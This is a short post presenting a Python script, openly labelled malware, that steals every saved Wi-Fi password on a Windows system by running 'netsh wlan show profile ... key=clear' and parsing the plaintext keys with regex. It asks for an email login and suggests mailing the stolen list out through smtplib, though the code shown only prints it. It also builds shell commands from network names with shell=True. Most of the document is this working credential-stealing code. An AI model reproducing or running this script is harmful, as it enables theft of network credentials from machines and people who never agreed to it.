Malware - WIFI Password Thief
m3rcer
This script steals all relevant WIFI passwords from a given Windows system.
- This can be coupled with the smtplib to send a report via email too.
- We use various netsh commands to view the WIFI details,passwords.
netsh wlan show profile
- view ssid , common details.netsh wlan show profile "network_name" key=clear
- view password along with more info. - We use regex to capture the relevant fields by seperating them into groups.
Code:
#!/usr/bin/env python
import subprocess, re, argparse
def get_arguments():
parser = argparse.ArgumentParser()
parser.add_argument("-e", "--email", dest="email", help="Email-ID to recieve report")
parser.add_argument("-p", "--password", dest="password", help="Password for provided Email-ID")
options = parser.parse_args()
if not options.email:
# code to handle error
parser.error("\n[-] Please specify a valid Email-ID, use --help for info.")
if not options.password:
# code to handle error
parser.error("\n[-] Please specify a valid Password, use --help for info.")
return options
print("""
WIFI Password-Thief
""")
options = get_arguments()
command = 'netsh wlan show profile'
networks = subprocess.check_output(command, shell=True).decode()
# Seperate regex into capturing groups
# \s - spaces; * - any no of; . - any type of char
# Set "Profile" as non capturing group using '?:'
# Use re.findall() to find all instances as lists that match instead of re.search()
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks)
print("[!] Finding Network Names..")
result = ""
pass_result = ""
for network_name in network_names_list:
command = "netsh wlan show profile " + network_name + " key=clear"
current_result = subprocess.check_output(command, shell=True).decode()
result += current_result
print("[!] Finding Network Passwords..")
banner = "\n\nWIFI SSID And PassList:\n"
loop_result = ""
counter = 0
passlist = re.findall("(?:Key Content\s*:\s)(.*)", result)
network_name = re.findall("(?:SSID name\s*:\s\")(.*)(?:\")", result)
try:
print(banner)
while True:
net_name = network_name[counter] + ": "
pass_name = passlist[counter]
loop_result = net_name + pass_name
counter += 1
print(loop_result)
except IndexError:
exit()